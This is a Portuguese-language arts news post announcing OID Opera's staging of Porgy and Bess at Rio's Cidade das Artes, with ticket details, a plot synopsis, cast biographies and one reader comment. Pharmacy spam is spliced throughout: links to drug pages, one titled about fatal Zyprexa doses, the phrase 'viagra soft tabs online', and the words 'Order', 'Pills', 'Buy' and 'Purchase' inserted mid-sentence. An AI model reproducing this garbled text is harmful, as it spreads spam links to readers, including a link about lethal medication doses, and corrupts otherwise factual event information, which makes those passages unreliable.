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Cidade das Artes apresenta ópera de Gershwin

Montagem de Porgy and Bess será realizada nos dias 3 e 4 de maio, no Teatro de Câmara.


SERVIÇO

 

 

Cidade das Artes – Teatro de Câmara
Av. das Américas, 5300 – Barra da Tijuca – RJ

Dias 03 de maio (sábado), às 21h. e 04 de maio (domingo), às 19h.

Ingresso a R$ 50,00
Meia entrada disponível

www.ingressorapido.com.br
Informações e venda de ingressos: 21 4003-1212

Bilheteria: de terça a sexta, das 13h às 21h. Sábado e domingo, das 12h às 20h (em dias de espetáculo a bilheteria ficará aberta até meia hora após o início do espetáculo)

Dinheiro ou cartões de crédito e débito Visa, Credicard, Mastercard e Diners

Não aceita cheques online

http://www.elenalucia.com/generic-singulair-not-working-as-well/ Classificação etária – 12 anos

Estacionamento:
– R$ 10,00 – veículos de passeio
– R$ 8,00 – motos
– R$ 20,00 – vans e micro-ônibus
– R$ 30,00 – ônibus

www.cidadedasartes.org

facebook.com/cidadedasartes

 

 

Encenada pela primeira vez em 1935, Porgy and Bess, foi a mais ambiciosa obra do prestigiado compositor americano George Gershwin. Estrelada na Broadway e baseada no romance Porgy http://swagindia.net/how-much-zyprexa-is-fatal/ , de Dubose Heyward, o espetáculo se passa em um bairro negro em Charleston, na Carolina do Sul, e causou polêmica na época por apresentar um elenco quase inteiro formado por atores e cantores negros. Considerada hoje a mais importante ópera americana do século XX, a peça será apresentada ao público carioca nos dias 3 e 4 de maio, na viagra soft tabs online Cidade das Artes, em consagrada montagem da Companhia OID Opera, de Buenos Aires.

Em meio à uma música intensa, que atrai multidões desde sua estreia, Porgy and Bess retrata uma história de amor que tenta sobreviver à violência e à pobreza. “Tal como acontece hoje em qualquer canto de uma grande cidade, essa ópera desdobra um relato profundo e comovente protagonizado pelo amor puro e incondicional de Porgy por Bess e a capacidade do protagonista em ver beleza a partir da dor e da carência”, relata a diretora argentina María Dubini, que comanda um jovem elenco formado por oito atores.

 

A obra

A história acontece em um conjunto habitacional onde vivem várias famílias de trabalhadores negros em situação de pobreza. Homens e mulheres levam uma vida de trabalho duro e contínuo durante o dia. À noite, são ameaçados pelos perigos das drogas e do jogo. Bess é a mulher de Crown, um homem violento, viciado em jogo e em drogas, como ela, que, na realidade, só busca a proteção que Crown oferece. Ninguém na comunidade deseja a presença do casal, pois os problemas acontecem geralmente quando estão por perto. Durante as típicas brigas provocadas por Crown durante um jogo, ele acaba provocando a morte do Robbins, um dos homens que vive no prédio, diante de sua mulher e filhos. Crown é preso, deixando Bess Order sozinha e desprotegida.

Porgy, um homem idoso e que locomove em uma cadeira de rodas, também  mora na comunidade, e Bess se oferece imediatamente para lhe fazer companhia. Os dois começam a viver juntos e surge entre eles um grande amor, pois ambos encontram companhia e proteção. Bess se sente feliz pois não é obrigada por Crown e seu amigo Sporting Life a consumir drogas e nem apanha mais de seu companheiro. Ao contrário, eles vivem felizes e recebem o apoio da comunidade.

Depois de um tempo, Crown é liberado da prisão e vai atrás de Pills Bess. Bate nela e ameaça matar Porgy caso ela não reate com ele. Porém, um desencontro faz com que todos pensem que Crown matou Porgy. Bess, desesperada, decide aceitar a proposta de Sporting Life e foge para outra cidade. De volta para casa, Porgy fica sabendo da partida de Bess e dá início, com sua cadeira de rodas, a um longo percurso de 2 mil km em busca da amada.

 

Elenco

– Maximiliano Michailovsky (Porgy)
– Rebeca Nomberto (Bess)
– Javier Alejandro Martinez(Crown)
– Marta Blanco (María)
– Darío Leoncini (Sporting Life)
– Gisela Gutiérrez (Serena)
– Victoria Sambuelli (Clara)
– Agustín Roca (Jake)
– Marta Muñoz (Strawberry Woman)

Direção cênica e geral: María Dubini
Direção musical: Pablo Di Mario, Yan Guimaraes
Assistente de direção: Nicolás Isasi
Pianista: Romina Romay
Produção geral: OID Opera

 

María Dubini – direção cênica e geral

Nascida em Buenos Aires, estudou desenho industrial na Universidade de Buenos Aires, Cenografia na Escola Superior de Bellas Artes Ernesto de la Cárcova e direção de teatro no Teatro Cólon. Ganhou diversos prêmios como desenhista de produtos (Roëders, Unilever) e como cenógrafa para o concurso “Lorca em Buenos Aires”. Trabalhou como figurinista e cenógrafa em muitas produções de televisão, teatro e instalações artísticas.

Criou o ciclo de videoconferências “NAIM” (Next Art International Meetings) dedicado ao intercambio entre artistas argentinos e estrangeiros. É autora do 37 publicações e críticas de arte para os jornais “La mano”, “Arts Editor”, “Superlab”, “Urb Conexion” e “Original Voice”. Em 2011, realizou sua primeira direção de ópera com a encenação de Joana D`Arc (Juana de Arco), de Honegger-Claudel no museu Fernandez Blanco. Logo depois, criou a companhia OID OPERA com a  estreia argentina de “The Bohemian Girl”, no qual realizou a direção cênica e geral. Porgy and Bess é seu trabalho atual.

 

Pablo Christian Di Mario  – direção  musical

Estudou no Conservatório Nacional Carlos Lopez Buchardo. Ganhou um Master em Regência Coral da Northwestern University, Illinois, USA. Estudou Regência Coral com os maestros Carlos Vilo, Antonio Russo e Néstor Zadoff. Aperfeiçoou-se com os maestros Florent Stroesser (França), Werner Pfaff (Alemanha),  Rita Krauceviciute (Lituânia),  Josep Prats (Espanha) e  Robert Harris (USA). Fez a regência do coro da Universidade de Tübingen na Alemanha, da Orquestra Sinfônica do Conservatório Antônio Valência, da Banda Sinfônica do Departamental de Cali, na Colômbia. É Diretor da Agrupação Nagmén.

Ganhou o Prêmio Institucional FNA (Fondo Nacional de las Artes) pelo êxito obtido como Diretor Coral no Concurso Eisteddfod. Integra o Estúdio Coral de Buenos Aires com Regência do Maestro Carlos López Puccio.  É professor de Regência Coral na Universidade do Valle, Cali, Colômbia; na Universidade IUNA ex Conservatório Nacional Carlos López Buchardo, Buenos Aires, Argentina; Diretor Musical da Companhia Lírica SR, em Cali, Colômbia; Lugano, Suíça, Ilhas Canárias e Buenos Aires, Argentina; Diretor geral do Centro Latinoamericano da Lírica Salazar-Di Mario-Pola; Diretor Geral da  Sociedade Coral Alemanhaa Villa Ballester;  Diretor do Coro Juan José Castro, Diretor do octeto So What e Subdiretor do Grupo Coral Divertimento junto a Néstor Zadoff. Ganhou o Doctorado PhD em Regência Coral da North Caroline University (EEUU) e seu coro Nagmén foi selecionado como representante argentino para atuar no Carnegie Hall de New York em janeiro de 2014.

 

Romina Romay – pianista

Nasceu em Buenos Aires. Estudou percussão na EMPA (Escola de Música Popular de Avellaneda) e piano no Conservatorio Julián Aguirre e no IUNA (Conservatorio Lopez Buchardo), com o maestro Santiago Santero. Compôs músicas para a EMAD (Escola Metropolitana de Arte Dramático). No ano 2013, passou a integrar a compania OID Opera como preparadora e pianista na Opera “Treemonisha”, de Scott Schoplin.

 

Nicolás Isasi – Assistente de direção

Argentino, estudou saxofone no Conservatório Gilardo Gilardi. Foi parte da Orquesta de Vientos do Conservatório, da Orquesta do Lago, da Orquesta Filarmónica Latinoamericana, e da Orquestra Estudantil da Cidade de Buenos Aires. Estudou Regência de Cinema na FUC (Universidad del Cine) e Regênca de Ópera no  Buy ISATC (Instituto Superior de Artes del Teatro Colón).

Trabalhou em mais de 20 curtas-metragem e 3 longas-metragem como diretor, assistente de direção, arte, som e producão. Trabalhou como assistente de figurino em mais de 20 produções operísticas para Juventus Lyrica, Lizzie Waisse, Marta Blanco e Leticia Tómaz. Ganhou o prêmio Ibermedia pela realização do seminário de Dirección de Actores da Escola Internacional de Cine e Televisão de San Antônio de los Baños (Cuba). Fez sua primeira ópera como diretor com “Las Bodas de Figaro”, em junho do 2012, com Ópera Joven, e também “Bastián y Bastiana” e “Apollo et Hyacinthus” para La Compañía Itinerante.   Dirigiu a estreia na Argentina de “Treemonisha” para OID OPERA no Teatro Empire de Buenos Aires.

 

Maximiliano Michailovsky – Porgy – baixo

Nascido em La Plata, Argentina, iniciou seus estudos musicais no conservatório “Gilardo Gilardi” em guitarra e piano e formou parte do coro dos meninos do teatro argentino de La Plata. Posteriormente, estudou canto lírico no Instituto Superior de Arte do Teatro Colón. Dedica-se à ópera e à musica de câmara, dando concertos na Argentina e no exterior. Interpretou Masetto (Don Giovanni) na temporada inaugural da Juventus Lyrica. Depois cantou El Doctor (Wozzeck), Rocco (Fidélio), Figaro y Conte (Le nozze di Figaro), entre outros. Ganhou o concurso de Ópera de San Juan por interpretar Don Pasquale, ópera que cantou no teatro Roma de Avellaneda. Em 2012, interpretou Masetto e Commendatore de Don Giovanni no Teatro Municial Real de Haya e no Teatro Municipal de Rotterdan, na Holanda. Em 2013, fez Sprencher (A Flauta Mágica), Ramfis (Aida), Don Basílio (O barbeiro de Sevilla), e “Cantos y danzas de la muerte” de Mussorgsky.

 

Rebeca Nomberto – Bess – soprano

Nascida em La Plata, Argentina, viveu em Lima, no Peru e estudou no Conservatório Nacional de Música, especializando-se em piano e canto. Integrou o Coro Nacional do Peru. Em 2006, voltou à Argentina e deu continuidade aos seus estudos de canto no Conservatório Nacional Carlos López Buchardo, IUNA, quando foi selecionada para cantar no Coro Mundial de Jovens (Europa). Ao longo da carreira, realizou diversos recitais em grandes auditórios. Em 2010, estreou em uma ópera no papel de Pamina, da Flauta Mágica, de Mozart, no Teatro El Circulo de Rosário, sob direção de Nicolás Rauss.

Nos últimos anos, participou das ópera “Suplica-Suppllice” e “El cuerpo desabitado”, no Teatro Cervantes e no auditório do Centro cultural Haroldo Conti. No ano 2013, apresentou-se junto com Carlos Koffman no Teatro Nacional Cervantes, interpretando canções de R. Strauss. Cantou o N°5 para soprano do Requiem de Brahms; o rol da Grão Sacerdotisa na ópera Aida, de Verdi, no Teatro Avenida; o Ciclo das Sete Canções Cedas, de Alban Berg, no Teatro Cervantes; o Ciclo das 3 canções de Korngold, op.18; a Cantanta 105, de Bach; Chandos Anthem Nº 9, de Händel; e Stabat Mater, de Pergolesi.

 

Javier Alejandro Martinez – Purchase Crown – Barítono

Argentino, estudou canto no Conservatório “Alberto Ginastera” e logo depois com a maestrina Araceli Grosso, Ricardo Ortale e, atualmente, com os maestros Luis Gaeta e Jorge Balagna, Susana Cardonnet , Rozita Zozulia e Sergio Giai (repertório). Interpretou junto com o maestro Cesar Tello os personagems de Frati (Don Carlo) e Guglielmo (Cosi fan tutte) no Palacio González Balcarce e La Manufactura Papelera (San Telmo, Buenos Aires). Interpretou também Colas (Bastien y Bastiana), Eneas (Dido y Eneas), Fígaro (Las Bodas de Fígaro) e Papageno (La Flauta Mágica), Papageno (La Flauta Mágica), Guglielmo (Cosi fan tutte), Enrico (Lucia di Lammermoor) e Marco (Gianni Schicchi), em diversas salas como: Associacão Japonesa de Buenos Aires, Casa de Catalunya, Sociedade Italiana de Morón, Centro Cultural Leopoldo Marechal, Teatro Centro Cultural de Hurlingham, Dante Alighieri, La Casa de la Ópera e Teatro Konex.

Também fez o personagem de Masetto (Don Giovanni) e Papageno (La Flauta Mágica) dirigido pelo maestro Hernán Schvarztman e Fiorello (Barbero de Sevilla) com regência do maestro Hernán Sánchez Arteaga, no Teatro Avenida de Buenos Aires.No ano 2013, ganhou o prêmio no Concurso Fundamus com o personagem de Masetto para a Ópera Don Giovanni. Participou do Coro Estable del Teatro Argentino de La Plata para a Ópera El Holandés errante, com regência dos maestros Esteban Rajmilchuk e Silvio Viegas.

 

Dario Leoncini – Sporting Life – Tenor

Argentino, começou os estudos de piano no ano 2002, na Escola “Carlos Morel”, e cantou com os maestros Sergio Ganza, Marta Blanco e Rozita Zouzulia. Integrou o Ópera Estudio do Teatro Argentino de La Plata (2010-2011). No ano 2010, ingressou no Instituto Superior de Arte do Teatro Colón. Trabalhou nas óperas:  Il viaggio a reims, G. Rossini, Teatro Argentino de la Plata;  Ciudad Ausente, G. Gandini, Teatro Argentino de La Plata; Don Carlo, G. Verdi, Teatro Argentino de La Plata; I Due Timidi, Nino Rota, Teatro Argentino de La Plata; Doña Francisquita, A. Vives, Teatro Argentino de La Plata; Werther, J Massenet, Teatro Argentino de La Plata.

Participou de numerosos concertos dentro do ciclo “Do Colon ao país”, interpretando repertório de câmara. Realizou duos de óperas no Salão Dourado do Teatro Cólon; no auditório da facultade de Cs. Naturales de Córdoba, no Teatro Libertador San Martin de Tucumán e no Museo de la Fundación Concierto na reabertura do Teatro Florencio Constantio de Bragado. Representou em La Boheme, de G. Puccini;  Lucrezia Borgia, G. Donizetti, Teatro Avenida, para Balirica; Nabucco G. Verdi, Teatro Avenida, para Balirica; Concierto Homenaje a G. Verdi junto com a Orquesta Filarmonica de Buenos Aires, Teatro Colon de Buenos Aires, versão concerto Rigoletto; Luisa Fernanda, de F. Moreno Torroba, Teatro Municipal de Temuco.

 

Marta Blanco – María – Mezzosoprano

Marta Blanco, mezzoprano argentina, formada no Instituto de Arte do Teatro Colón, ganhadora de sete prêmios nacionais por opera e câmara, tem interpretado numerosas óperas no Teatro Colón e outros teatros em Argentina e fora do país, como Carmen, Madame Butterfly, entre outras. Realiza concertos em vários países de América e Europa com orquestra e piano. Tem gravações variadas de CDs de música argentina, latinoamericanas e internacionais.

Realiza turnês pelo pela Argentina como cantora solista do grupo Encontros de Música Contemporânea com apresentações em festivais na Europa, África do Sul, América do Norte e Sul, Rusia, China, Hong Kong, Corea, Armênia e Estônia. É professora de técnica vocal e repertório no IUNA (Dep. Artes Musicales y Sonoras) e no Taller de Opera. Desde o ano 2010, leciona Técnica Vocal no Instituto Superior de Arte del Teatro Colón de Buenos Aires. Participa como jurada de concursos de canto e oferece cursos e masterclasses na Argentina e em outros países. Entre os anos 2005-2011, foi jurí do Fundo Nacional das Artes, uma instituição que oferece bolsas do estudos aos músicos da Argentina.

Desde 1994, dirige o Grupo Ópera Jovem com estudantes avançados, que apresenta diversas óperas na Argentina.

 

Gutiérrez Gisela – Serena – Soprano

Nasceu em Buenos Aires. Estudou canto de coral para crianças no Instituto Superior do Teatro Colón e integrou o coro de crianças do teatro com Regência de Vilma Gorini. No ano 2006, deu início às aulas de canto no Conservatório Superior de Música Manuel de Falla. Estuda com o maestro Daniel Guzmán.Integrou o Coro Feminino Lagun Onak, o Coro da Universidade CAECE, o Coro Fundamus (como solista na ópera Dido e Aeneas). Atualmente, é solista no Companhia OID e no Ensamble Lirico Orquestal,.

 

Victoria Isabel Sambuelli – Clara – Soprano

Começou seus estudos de canto no Conservatório Manuel de Falla com o professor Sergio Goldwasser. Desde 2011, estuda com o maestro Daniel Guzmán. Integra o Ensamble Lírico Orquestal e o Programa Argentino de Coros do Bicentenário. Participou na gravação do Hino Nacional Argentino. No ano 2013, foi solista do Coro da Universidade Torcuato di Tella.

 

Agustín Roca – Jake – Barítono

Argentino, estudou violão com Juan Carlos Marioni em2002, 2003 e 2011; piano com Eduardo Areas (2012) e Antonio Formaro; clarinete com Enrique Maldonado; técnica vocal con Sergio Pelacani; harmonia con Federico Wiman e Ezequiel Pazos; Contraponto con Diego Gardiner; regência orquestal com Javier Pautasso, e  contraponto vocal com Pablo Kiteber. É integrante do Coro do Conservatorio Beethoven com regência de Pablo Kiteber e do Coro da Faculdade de Direito UBA com  regencia de Miguel Pesce. Atuou como prisionero (baixo) na ópera Aida, de Verdi, para o Agrupação Melodramma.

 

Marta Muñoz Nilsson – Strawberry Woman – Soprano

Estudou interpretação de música antiga e  barroca com o Maestro Mario Videla e canto lírico com Adriana Pietrantonio no Conservatório J. Jose Castro. Integrou o coro Vox Animae.

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2 Comments

  1. Excelente pergunta, Mario, visto que o release enviado pela Assessoria de Imprensa não esclarece essa questão. A informação que eu obtive, quando a ópera ainda estava anunciada para a grande sala da Cidade das Artes, é de que haveria uma orquestra sim: reduzida em relação à exigência original da partitura, mas haveria. Agora que a produção foi transferida para o teatro de câmara, não sei onde vão enfiar os músicos…

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